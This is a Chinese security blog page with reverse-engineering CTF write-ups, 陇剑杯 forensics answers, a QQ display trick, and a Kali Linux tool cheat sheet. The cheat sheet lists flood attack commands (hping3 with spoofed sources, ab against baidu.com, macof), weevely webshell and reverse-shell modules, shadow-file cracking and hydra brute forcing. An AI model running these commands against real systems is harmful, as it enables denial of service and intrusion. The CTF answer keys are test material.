首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,542 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
40
篇与
的结果
2022-10-10
【CTF解题】攻防世界逆向篇
Mysterious解题题目难度:2题目描述:自从报名了CTF竞赛后,小明就辗转于各大论坛,但是对于逆向题目仍是一知半解。有一天,一个论坛老鸟给小明发了一个神秘的盒子,里面有开启逆向思维的秘密。小明如获至宝,三天三夜,终于解答出来了,聪明的你能搞定这个神秘盒子么?(答案为flag{XXX}形式)1.是个带GUI的程序,提示让我们输入正确的密码,才会有flag吧先用IDA看下。2.打开后按F5进入伪代码,然后双击进入WinMian函数内。3.我看过了在这个函数里,相关函数自行百度哦本文章不细讲。4.再进一层,就看到主代码了。int __stdcall sub_401090(HWND hWnd, int a2, int a3, int a4) { char v5; // [esp+50h] [ebp-310h] CHAR Text[4]; // [esp+154h] [ebp-20Ch] char v7; // [esp+159h] [ebp-207h] __int16 v8; // [esp+255h] [ebp-10Bh] char v9; // [esp+257h] [ebp-109h] int v10; // [esp+258h] [ebp-108h] CHAR String; // [esp+25Ch] [ebp-104h] char v12; // [esp+25Fh] [ebp-101h] char v13; // [esp+260h] [ebp-100h] char v14; // [esp+261h] [ebp-FFh] memset(&String, 0, 0x104u); v10 = 0; if ( a2 == 16 ) { DestroyWindow(hWnd); PostQuitMessage(0); } else if ( a2 == 273 ) { if ( a3 == 1000 ) { GetDlgItemTextA(hWnd, 1002, &String, 260); strlen(&String); if ( strlen(&String) > 6 ) ExitProcess(0); v10 = atoi(&String) + 1; if ( v10 == 123 && v12 == 120 && v14 == 122 && v13 == 121 ) { strcpy(Text, "flag"); memset(&v7, 0, 0xFCu); v8 = 0; v9 = 0; _itoa(v10, &v5, 10); strcat(Text, "{"); strcat(Text, &v5); strcat(Text, "_"); strcat(Text, "Buff3r_0v3rf|0w"); strcat(Text, "}"); MessageBoxA(0, Text, "well done", 0); } SetTimer(hWnd, 1u, 0x3E8u, TimerFunc); } if ( a3 == 1001 ) KillTimer(hWnd, 1u); } return 0; }5.itoa函数的作用是把整数转换成字符串,相当于 v10 给了v5所以等于 123,strcat是字符拼接,所以拼接起来就是了。flag{123_Buff3r_0v3rf|0w}insanity解题题目难度:3题目描述: 菜鸡觉得前面的题目太难了,来个简单的缓一下1.都提示了,肯定不会很难先用记事本看下,搜索flag好家伙直接发现了,还是用IDA看下内部。2.用IDA打开,先看main函数F5进入伪代码,当然你也可以分析反汇编代码。3.直接见flag,提交下看看。flag:9447{This_is_a_flag}Shuffle解题题目难度:21.直接用IDA打开,一般题目都不加壳,能看到main主函数就没壳,题目有说找到字符串在随机化之前,意思就是字符在之前是完整的,之后就会加密打乱什么的。2.说明flag在之前不会加密,运行初始化之后才会加密,我们先进入main函数分析下,看了会那些字符就是了,通过转ASCII拼接就是完整flag,开始写脚本。byte = [ 83, 69, 67, 67, 79, 78, 123, 87, 101, 108, 99, 111, 109, 101, 32, 116, 111, 32, 116, 104, 101, 32, 83, 69, 67, 67, 79, 78, 32, 50, 48, 49, 52, 32, 67, 84, 70, 33, 125 ] for i in range(len(byte)): print(chr(byte[i]) ,end="")flag:SECCON{Welcome to the SECCON 2014 CTF!}3.直接在IDA转换char也是可以的,自己拼接上就行。simple-unpack解题题目难度:31.题目有说过加壳了,先查壳是个UPX压缩壳,UPX自带脱壳的参数 -d 就是了,先脱个壳先,从信息看到是个64位ELF文件,用64位IDA(废话)。2.脱好壳再查看下,没壳了可以用IDA分析了。3.不用分析了,直接见flag。4.后面用文本查看也可以见flag。Game解题题目难度:31.老规矩查壳,看下木有壳扔IDA分析下。2.其实直接运行按顺序输入1-8的数,就出现flag了,目的似乎达到了,但还是想看下内部逆向下先。3.找到主函数 main,搜索下就好了,再按F5生成伪代码。4.双击进入main_0函数看下。5.找关键,我看过了在这个函数里sub_457AB4()6.再进一层双击进入sub_45E940()函数里,在这里面。7.一直往下翻,可以看到关键进行运算代码段,v2,v58进行两次异或处理 v59,v115 进行异或 再与0x13异或,flag 应该是和v2,v58的字符变量有关。{collapse}{collapse-item label="伪代码"}sub_45A7BE((int)"done!!! the flag is ", v1); v60 = 18; v61 = 64; v62 = 98; v63 = 5; v64 = 2; v65 = 4; v66 = 6; v67 = 3; v68 = 6; v69 = 48; v70 = 49; v71 = 65; v72 = 32; v73 = 12; v74 = 48; v75 = 65; v76 = 31; v77 = 78; v78 = 62; v79 = 32; v80 = 49; v81 = 32; v82 = 1; v83 = 57; v84 = 96; v85 = 3; v86 = 21; v87 = 9; v88 = 4; v89 = 62; v90 = 3; v91 = 5; v92 = 4; v93 = 1; v94 = 2; v95 = 3; v96 = 44; v97 = 65; v98 = 78; v99 = 32; v100 = 16; v101 = 97; v102 = 54; v103 = 16; v104 = 44; v105 = 52; v106 = 32; v107 = 64; v108 = 89; v109 = 45; v110 = 32; v111 = 65; v112 = 15; v113 = 34; v114 = 18; v115 = 16; v116 = 0; v3 = 123; v4 = 32; v5 = 18; v6 = 98; v7 = 119; v8 = 108; v9 = 65; v10 = 41; v11 = 124; v12 = 80; v13 = 125; v14 = 38; v15 = 124; v16 = 111; v17 = 74; v18 = 49; v19 = 83; v20 = 108; v21 = 94; v22 = 108; v23 = 84; v24 = 6; v25 = 96; v26 = 83; v27 = 44; v28 = 121; v29 = 104; v30 = 110; v31 = 32; v32 = 95; v33 = 117; v34 = 101; v35 = 99; v36 = 123; v37 = 127; v38 = 119; v39 = 96; v40 = 48; v41 = 107; v42 = 71; v43 = 92; v44 = 29; v45 = 81; v46 = 107; v47 = 90; v48 = 85; v49 = 64; v50 = 12; v51 = 43; v52 = 76; v53 = 86; v54 = 13; v55 = 114; v56 = 1; v57 = 117; v58 = 126; v59 = 0; for ( i = 0; i < 56; ++i ) { *(&v3 + i) ^= *(&v60 + i); *(&v3 + i) ^= 0x13u; } return sub_45A7BE((int)"%s\n", (unsigned int)&v3); }{/collapse-item}{/collapse}解题代码byte1 = [ 123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,13,114,1,117,126,0 ] byte2 = [ 18, 64, 98, 5, 2, 4, 6, 3, 6, 48, 49, 65,32, 12, 48, 65, 31, 78, 62, 32, 49, 32, 1,57, 96, 3, 21, 9, 4, 62, 3, 5, 4, 1, 2, 3,44, 65, 78, 32, 16,97,54,16,44,52,32,64,89, 45,32,65,15,34,18,16,0 ] for i in range(len(byte1)): ch = chr(byte1[i]^byte2[i]^0x13) print(ch,end="")flag:zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}Hello CTF解题题目难度:41.老规矩看下有壳没,没壳直接拖入IDA进行分析。2.运行后是要求输入正确的flag,我们肯定是没有的需要逆向出来,这些提示就是突破的关键,用IDA打开发现是个32位程序,直接进main函数分析。3.按F5进入伪代码,找关键代码做突破口。int __cdecl main(int argc, const char **argv, const char **envp) { int i; // ebx char v4; // al int result; // eax int v6; // [esp+0h] [ebp-70h] int v7; // [esp+0h] [ebp-70h] char Buffer[2]; // [esp+12h] [ebp-5Eh] BYREF char v9[20]; // [esp+14h] [ebp-5Ch] BYREF char v10[32]; // [esp+28h] [ebp-48h] BYREF __int16 v11; // [esp+48h] [ebp-28h] char v12; // [esp+4Ah] [ebp-26h] char v13[36]; // [esp+4Ch] [ebp-24h] BYREF strcpy(v13, "437261636b4d654a757374466f7246756e"); while ( 1 ) { memset(v10, 0, sizeof(v10)); // 对v10进行了初始化 v11 = 0; v12 = 0; sub_40134B(aPleaseInputYou, v6); scanf("%s", v9); if ( strlen(v9) > 0x11 ) break; for ( i = 0; i < 17; ++i ) { v4 = v9[i]; if ( !v4 ) break; sprintf(Buffer, "%x", v4); strcat(v10, Buffer); // 进行了拼接处理 } if ( !strcmp(v10, v13) ) // 进行了字符串比较,如果v10的值等于v13的值会输出Success sub_40134B(aSuccess, v7); else sub_40134B(aWrong, v7); } sub_40134B(aWrong, v7); result = --Stream._cnt; if ( Stream._cnt < 0 ) return _filbuf(&Stream); ++Stream._ptr; return result; }4.v13的值已经在strcpy这里出现了 437261636b4d654a757374466f7246756e,现在只要知道v10是怎么出来的就行,往上开始分析,分析结果:依次取出用户输入字符串的字符,把字符值的 ASCII 码值转成 16 进制的形式拼接到v10中,v10的值等于v13的值,需将字符串v13中的值两个一组,当作16进制的值,换算成ASCII码并转成对应的字符即可,这样就得到了flag,没有多复杂就看做是把 437261636b4d654a757374466f7246756e 转换成字符串。解题代码str1 = "437261636b4d654a757374466f7246756e" gather = "" count = 0 while count < len(str1): gather += chr(int(str1[count:count + 2], 16)) count += 2 print(gather)flag:CrackMeJustForFun动态调试1.ctrl + G 搜索 401000 跳到这个程序起始的代码段上,往下看。2.找到关键提示,正确和错误肯定就在下面了。3.找到了成功的代码段,和错误的代码段。4.好了再往上滑找到这个地址,401065 看到是个判断,我们在这里下断点。crackme解题题目难度:31.老规矩先查壳,有软件自动脱壳的工具,这里我手动脱下壳。2.可以发现用IDA看下什么都没有,main函数也没有只能脱壳在分析了,其实可以让软件运行起来附加内存,也是能看到脱壳后的代码的。ESP定律脱壳1.拖入软件因为有壳,我们不能运行,按F8单步到2下call这个地址上。2.右键ESP寄存器,下个硬件访问断点,下好了按F9运行。3.再按F8运行两次,会跳到这个jump指令指向00401336这个地址上 。4.右键选择分析,从模块中删除分析。5.再右键选择这个脱壳选项。6.开始脱壳然后保存壳就脱了。静态分析1.可以发现这是我脱好壳的程序,能看到main函数了代码也完整了,可以进一步分析了。2.按F5查看伪代码,进入byte_402130这个函数里看下。3.观察while循环可以发现,(&Buf + v4) ^ byte_402130[v4 % 16]),什么和什么异或了进入函就是这些。解题代码str1="this_is_not_flag" byte=[0x12, 4, 8, 0x14, 0x24, 0x5C, 0x4A, 0x3D, 0x56, 0x0A, 0x10, 0x67, 0, 0x41, 0, 1, 0x46, 0x5A, 0x44, 0x42, 0x6E, 0x0C, 0x44, 0x72, 0x0C, 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 2, 1, 0x4C, 0x5E, 0x5B, 0x17, 0x6E, 0x0C, 0x16, 0x68, 0x5B, 0x12] flag="" for i in range(len(byte)): flag+=chr(byte[i]^ord(str1[i%16])) print(flag)flag{59b8ed8f-af22-11e7-bb4a-3cf862d1ee75}IgniteMe解题题目难度:21.让你输入正确的flag,先用IDA静态分析下。2.PE查壳工具看下有没有壳,看到是.txt并没有,一般我直接拖入IAD分析,查不查壳都一样,C++ 写的目测是易语言。3.百度下就知道是32位的,用32位的IDA打开进行分析。4.找到关键成功的地方,发现判断的对象是sub_4011C0(),如果等于真就成立执行成功的代码,我们可以进sub_4011C0()这个函数内看看,写的是什么逻辑。5.把数组中大写字母转为小写字母,小写字母转为大写字母。然后把数组与0x55异或后+72,然后再与数组byte_4420B0异或,和GONDPHyGjPEKruv{{pj]X@rF进行比较,判断出执行结果为GONDPHyGjPEKruv{{pj]X@rF,如果相同则正确。bytes = [ 13, 19, 23, 17, 2, 1, 32, 29, 12, 2, 25, 47, 23, 43, 36, 31, 30, 22, 9, 15, 21, 39, 19, 38, 10, 47, 30, 26, 45, 12, 34, 4 ] v7 = [] str2 = 'GONDPHyGjPEKruv{{pj]X@rF' band = '' for i in range(24): v7.append(bytes[i] ^ ord(str2[i])) v7[i] = (v7[i] - 72) ^ 0x55 band = band + chr(v7[i]).lower() print("EIS{%s}" % band)flag: EIS{wadx_tdgk_aihc_ihkn_pjlm}lucknum解题题目难度:11.没有后缀的文件,直接用IDA打开看看,加载的时候发现是个64位程序,进入直接F5查看伪代码,直接见flag,解毕!1000Click解题题目难度:1最简单的一个逆向题目,软件运行不破解点1000次也可以获得flag,但这样太不符合我的习惯,逆向不走常规路。方法11.利用cheat engine 修改内存点击次数到999方法21.利用OD根据错误提示找反汇编代码 push压栈 就是flag2.也可以用过IDA进行逆向分析,解毕!
2022年10月10日
412 阅读
0 评论
67 点赞
2022-10-02
【技术分享】QQ空白名透明头像
实现步骤透明头像设置:上传图片时需要借助专门的软件工具(例如透明头像制作工具)。直接通过工具上传透明图片,因为普通上传方式不支持透明效果。工具链接:透明头像工具空白名称设置:复制特定的空白字符:将 ( 这一段内容复制,仅保留中间的空白部分,删除半括号。粘贴到昵称框中后,确保末尾保留一个空格,这是实现空白名称的关键。最终效果:透明头像和空白名称设置成功后,可以看到 QQ 头像处为透明效果,昵称显示为空白。注意事项工具选择: 透明头像的生成依赖于特定工具,使用时需确保来源可靠、安全。空白字符使用: 操作时要精准复制空白字符,防止误删或操作失败。支持版本: 部分 QQ 版本可能对空白名称或透明头像有兼容性问题,可优先选择支持自定义内容的版本。总结通过借助软件工具生成透明头像,并使用空白字符技巧设置空白名称,即可轻松实现 QQ 的个性化展示效果。操作简单,视觉效果独特,非常适合提升个性化账号形象。
2022年10月02日
136 阅读
0 评论
5 点赞
2022-09-21
【CTF解题】2021 陇剑杯解题
JWT此时正在进行的可能是 ( http ) 协议的网络攻击。(如有字母请全部使用小写,填写样例:http、dns、ftp)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:该网站使用了 ( JWT ) 认证方式。(如有字母请全部使用小写)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客绕过验证使用的jwt中,id和username是 ( 10086#admin )。(中间使用#号隔开,例如1#admin)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客获取webshell之后,权限是 ( root )。昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客上传的恶意文件文件名是 ( 1.c )。昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客在服务器上编译的恶意so文件,文件名是 ( looter.so )。(请提交带有文件后缀的文件名,例如x.so)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客在服务器上修改了一个配置文件,文件的绝对路径为 ( /etc/pam.d/common-auth )。(请确认绝对路径后再提交)webshell单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客登录系统使用的密码是 ( Admin123!@# )。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客修改了一个日志文件,文件的绝对路径为 ( /var/www/html/data/Runtime/Logs/Home/21_08_07.log )。(请确认绝对路径后再提交)单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客获取webshell之后,权限是 ( 1.php )。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客上传的代理工具客户端名字是 ( frpc.ini )。(如有字母请全部使用小写)单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客代理工具的回连服务端IP是 (192.168.239.123)。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客的socks5的连接账号、密码是 (0HDFt16cLQJ#JTN276Gp)。(中间使用#号隔开,例如admin#passwd)。简单日志分析某应用程序被攻击,请分析日志后作答:黑客攻击的参数是 (user=)。(如有字母请全部使用小写)某应用程序被攻击,请分析日志后作答:黑客查看的秘密文件的绝对路径是 (/Th4s_IS_VERY_Import_Fi1e)。某应用程序被攻击,请分析日志后作答:黑客反弹shell的ip和端口是 (192.168.2.197:8888)。(格式使用“ip:端口",例如127.0.0.1:2333)日志分析单位某应用程序被攻击,请分析日志,进行作答:网络存在源码泄漏,源码文件名是 (www.zip)。(请提交带有文件后缀的文件名,例如x.txt)单位某应用程序被攻击,请分析日志,进行作答:分析攻击流量,黑客往/tmp目录写入一个文件,文件名为 (sess_car)。单位某应用程序被攻击,请分析日志,进行作答:分析攻击流量,黑客使用的是 (SplFileObject) 类读取了秘密文件。SQL注入某应用程序被攻击,请分析日志后作答:黑客在注入过程中采用的注入手法叫 (布尔盲注)。(格式为4个汉字,例如“拼搏努力”)。黑客在注入过程中,最终获取flag的数据库名、表名和字段名是 (sqli#flag#flag)。(格式为“数据库名#表名#字段名”,例如database#table#column)
2022年09月21日
35 阅读
0 评论
6 点赞
2022-09-20
【工具分享】Kali Linux 黑客工具
留言这些工具我用的比较多,学习到的工具,我都会慢慢更新在这里,有些工具需要安装,说的不是太详细可以自行百度文章视频学习。niktoNikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出,2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的http模式等。nikto -host http://www.example.comsteghideSteghide是一款隐写术工具,用于在音频、图像、视频等文件中隐藏机密信息,并且可以加密隐藏的信息。它可以在文件中嵌入任意格式的数据,比如文本文件、图像、音频等等。tcpdumptcpdump是一个强大的网络数据包分析工具,它能够抓取网络上的数据包并将其分析。它可以用来诊断网络问题,分析网络安全问题,监测网络流量等,tcpdump可以运行在各种操作系统上,如Linux、Unix和Windows。unshadowunshadow 是一个 Unix 系统工具,用于将 /etc/passwd 和 /etc/shadow 文件合并为一个 John the Ripper 可读的文件,以便对系统的密码进行密码破解,该命令需要 root 权限,因为需要读取系统上的 shadow 文件,而该文件只有 root 用户才有权限读取。unshadow /etc/passwd /etc/shadow > passwords.txt这条命令会将 /etc/passwd 和 /etc/shadow 文件合并为一个文本文件(passwords.txt),可以使用 John the Ripper 工具对其进行密码破解。rar2johnrar2john是John the Ripper的一个工具,用于将RAR文件的加密密码结构转换为适用于John the Ripper的格式,通过这样做,您可以使用John the Ripper破解加密的RAR文件,以获取存储在其中的数据。rar2john file > 1.txt // 导出hash john 1.txt // 开始爆破hashabab 是web上的压力测试工具,可以实现cc攻击。-n:在测试会话中所执行的请求个数。默认时,仅执行一个请求。-c:一次产生的请求个数。默认是一次一个。ab -c 10000 -n 1000 http://www.baidu.com/hping3hping命令是一个基于命令行的TCP/IP工具,它在UNIX上得到很好的应用,不过它并非仅仅一个ICMP请求/响应工具,它还支持TCP、UDP、ICMP、RAW-IP协议,以及一个路由模型HPING一直被用作安全工具,可以用来测试网络及主机的安全。// syn flood 伪造随机源地址,时间间隔1000us hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source -i u1000 // tcp flood hping3 -SARUPF -p 80 --flood --rand-source 192.168.180.133 // udp flood hping3 --udp 192.168.180.133 -p 80 --rand-source --flood // icmp flood hping3 --icmp 192.168.180.133 --rand-source --flood // dns flood hping3 --udp 192.168.180.133 -p 53 --rand-source --flood // 数据包跟踪 hping3 --traceroute -V -1 www.qq.com // 多端口扫描 hping3 -I eth1 -8 1-1024 192.168.180.133macofmacof可以造成交换机mac泛洪,受到攻击之后,内部的CAM表很快就会被填满了,交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常地向局域网提供转发功能。-i interface 指定要发送的接口 -s src 指定源IP地址 -d dst 指定目标IP地址 -e tha 指定目标硬件地址 -x sport 指定TCP源端口 -y dport 指定TCP目标端口 -n times 指定要发送的数据包数macof // 开始攻击fpingfping是一个小型命令行工具,用于向网络主机发送ICMP ( Internet控制消息协议 )回应请求,类似于ping,但在ping多个主机时性能要高得多。 fping完全不同于ping,因为您可以在命令行上定义任意数量的主机,或者指定包含要ping的IP地址或主机列表的文件。-a 显示可ping通的目标 -A 将目标以ip地址的形式显示 -b <num> ping 数据包的大小。(默认为56) -B <f> 设置指数反馈因子到f -c <num> ping每个目标的次数 (默认为1) -C <num> 同-c,返回的结果为冗长格式 -e 显示返回数据包所费时间 -f <file> 从文件获取目标列表( - 表示从标准输入)(不能与 -g 同时使用) -g 通过指定开始和结束地址来生成目标列表(例如:fping –g 192.168.1.0 192.168.1.255)或者一个IP/掩码形式(例如:fping –g 192.168.1.0/24) -i <num> 设置ip的TTL值 (生存时间) -l 循环发送ping -m ping目标主机的多个网口 -n 将目标以主机名或域名显示(等价于 -d ) -p <num> 对同一个目标的ping包间隔(毫秒) (在循环和统计模式中,默认为1000) -q 安静模式(不显示每个目标或每个ping的结果) -Q <num> 同-q, 但是每n秒显示信息概要 -r <num 当ping失败时,最大重试次数(默认为3次) -s 打印最后的统计数据 -t <num> 单个目标的超时时间(毫秒)(默认500) -u 显示不可到达的目标 -v 显示版本号fping -v // 显示版本 fping -g 192.168.60.1/24 // 范围扫描 fping -g -a 192.168.60.1/24 // 显示可以ping通的主机并写到文本arp-scanarp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。什么是ARP协议地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,是根据IP地址获得物理地址MAC的一个TCP/IP协议。通过ARP,在局域网可以很容易构成一个ARP欺骗,从而得到有用数据信息。-f 从指定文件中读取主机名或地址 -l 从网络接口配置生成地址 -i 各扫描之间的时间差 -r 每个主机扫描次数 -V 显示程序版本并退出 -t 设置主机超时时间 -L 使用网络接口 -g 不显示重复的数据 -D 显示数据包往返时间arp-scan -l // 范围扫描 arp-scan -f ip.txt // ip范围扫描 arp-scan -l -i 1000 // 扫描之间的时间差 arp-scan -l -r 5 // 每个主机扫描次数 arp-scan -l -V // 显示程序版本并退出 arp-scan -t 1000 192.168.75.0/24 // 设置主机超时时间 arp-scan -L eth0 // 使用网络接口 arp-scan -l -g // 不显示重复的数据 arp-scan -l -D // 显示数据包往返时间 Weevely生成和管理很难检测到的PHP木马,这是一个Web应用程序后开发的重要工。可用于像一个隐藏的后门,作为一个有用的远程控制台更换管理网络帐户,即使托管在免费托管服务,类似于中国菜刀、蚂一剑等工具。weevely generate 208522 webshell.php // 生成webshell weevely http://192.168.80.131/webshell.php 208522 // 连接webshell :shell_su #通过更变使用者来执行shell命令,可以获得root权限来执行命令. :shell_sh #执行 shell 命令. :shell_php #执行 PHP 命令. :system_extensions #收集PHP和webserver扩展列表 :system_info #收集系统信息 :system_procs #列出正在运行的进程 :audit_disablefunctionbypass #使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell :audit_etcpasswd #查看/etc/passwd文件 :audit_suidsgid #查找带有SUID或SGID标志的文件。 :audit_phpconf #查看php配置信息 :audit_filesystem #审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等 :backdoor_reversetcp #执行反向TCP shell. 需要nc -lvp <port>监听 :backdoor_tcp # 在TCP端口上生成shell :net_scan #TCP端口扫描. :net_mail #发送邮件. :net_ifconfig #获取网络接口地址. :net_curl #执行类似curl的HTTP请求. :net_proxy #运行本地代理以通过目标转移HTTP / HTTPS浏览 :net_phpproxy #在目标上安装PHP代理. :bruteforce_sql #可用来猜解数据库密码. :file_find #查找具有给定名称和属性的文件. :file_download #从远程文件系统下载文件. :file_check #获取文件的属性和权限. :file_touch #更改文件时间戳. :file_cd #更改当前工作目录. :file_grep #打印与多个文件中的模式匹配的行. :file_gzip #压缩或解压gzip文件. :file_tar #压缩或解压tar文件. :file_enum #检查路径列表的存在和权限 :file_bzip2 #压缩或解压bzip2文件. :file_mount #使用HTTPfs挂载远程文件系统. :file_clearlog #从文件中删除字符串. :file_zip #压缩或解压zip文件. :file_cp #复制单个文件. :file_upload2web #自动将文件上传到Web文件夹并获取相应的URL. :file_edit #在本地编辑器上编辑远程文件. :file_read #从远程文件系统中读取远程文件. :file_webdownload #指定URL下载文件. :file_upload #文件上载到远程文件系统. :file_ls #列出目录内容. :file_rm #删除远程文件. :sql_dump #Multi dbms mysqldump replacement. :sql_console #执行SQL查询或运行sql控制台.netcatNetCat号称网络工具中的瑞士军刀,可以用它来做很多有用事情,比如侦听端口、端口扫描、传输文件、网络测速等等。1.侦听模式/传输模式2.Telnet/获取banner信息3.传输文本信息4.传输文件/目录5.加密传输文件6.远程控制/木马7.加密所有流量8.流媒体服务器9.远程克隆硬盘nc -lp 444 // 监听模式 nc -nv 192.168.60.121 444 // 连接ip进行通信 nc -nv 192.168.60.121 | ls -l // 远程执行命令 -v 详细输出-l 监听模式,用于入站连接-n 指定数字的IP地址,不能用hostname-p port 本地端口号-q 在stdin的EOF之后退出并延迟秒-z 将输入输出关掉--用于扫描时wirsharkWireshark是网络数据包分析软件,可以探测指定网卡收到的数据包,并尽可能的分析这些数据包的协议、数据等资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换,wirshark是图形化操作软件// 过滤规则 ip.src addr==192.168.0.208 or ip.src addr eq 192.168.0.208 // 显示来源IP ip.dst addr==192.168.0.208 or ip.dst addr eq 192.168.0.208 // 显示目标IP tcp.port eq 80 // 不管端口是来源的还是目标的都显示 tcp.port == 80 // 过滤80端口 tcp.port eq 2722 tcp.port eq 80 or udp.port eq 80 tcp.dstport == 80 // 只显tcp协议的目标端口80 tcp.srcport == 80 // 只显tcp协议的来源端口80 tcp.port >= 1 and tcp.port <= 80 // 过滤端口范围 // 工具能使用的协议有 TCP、udp、arp、icmp、http、smtp ftp、dns、msnms、ip、ssl、等等。 udp.length == 26 // 这个长度是指udp本身固定长度8加上udp下面那块数据包之和 tcp.len >= 7 // 指的是ip数据包(tcp下面那块数据),不包括tcp本身 ip.len == 94 // 除了以太网头固定长度14,其它都算是ip.len,即从ip本身到最后 frame.len == 119 // 整个数据包长度,从eth开始到最后nmapNmap,Linux下的网络扫描和嗅探工具包,一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统。简单而言,这就是一个工具,用来检测目标主机是否开启,其操作系统是什么,有那些端口是开启的,是否可以扫描到目标主机存在漏洞等等,从而制定渗透的计划。Nmap的探测结果以列表的形式展现,同时分为四个状态:open、closed、filtered(被过滤的)、unfiltered。open:该端口开放;closed:该端口关闭的;filtered:发出的探测数据包不能到达目标主机的目标端口;unfiltered:该端口可以被访问,但具体不清楚是开放的还是关闭的。nmap 192.168.60.1 // 最基础的使用 nmap 192.168.60.1 -vv // 查看其详细信息 namp -p 1-60 192.168.60.1 // 扫描指定端口 nmap -sP 192.168.60.1 // ping扫描 nmap --traceroute 192.168.60.1 // nmap路由追踪 nmap --scan-delay 10s 192.168.60.1 // 每次延迟10秒后再发送数据包,防止大量的扫描记录引起对方的防护。 nmap -Pn 192.168.60.1 // 跳过主机扫描,在扫描防火墙时很有必要。 nmap -iL 1.txt // 扫描文本里面所有的IP nmap -sS -T4 192.168.60.1 // syn 扫描 nmap -sF -T4 192.168.60.1 // fin 扫描 nmap -sA -T4 192.168.60.1 // ack扫描 nmap --script=auth 192.168.60.1 // 弱口令扫描 nmap --script=vuln 192.168.60.1 // 扫描常见漏洞 nmap --script=ftp-brute.nse 192.168.60.1 //扫描弱口令账号,但是所用字典很小 nmap -p 80 --script=http-enum.nse 192.168.60.1 //扫描WEB敏感目录hydrahydra 是一款世界顶级密码暴力破解工具,支持几乎所有的协议的在线破解,功能强大,其密码能否被破解关键取决于破解字典的是否足够强大,在网络安全渗透过程中是一款必备的测试工具。目前该工具支持以下协议的爆破:AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP,使用xhydra可以打开图形界面。-R:继续从上一次进度接着破解 -S:大写,采用SSL链接 -s <PORT>:小写,可通过这个参数指定非默认端口 -l <LOGIN>:指定破解的用户,对特定用户破解 -L <FILE>:指定用户名字典 -p <PASS>:小写,指定密码破解,少用,一般是采用密码字典 -P <FILE>:大写,指定密码字典 -e <ns>:可选选项,n:空密码试探,s:使用指定用户和密码试探 -C <FILE>:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数 -M <FILE>:指定目标列表文件一行一条 -t 指定多线程数,默认为16个线程 -o <FILE>:指定结果输出文件 -f :在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 -t <TASKS>:同时运行的线程数,默认为16 -w <TIME>:设置最大超时的时间,单位秒,默认是30s -v / -V:显示详细过程 server:目标ip// 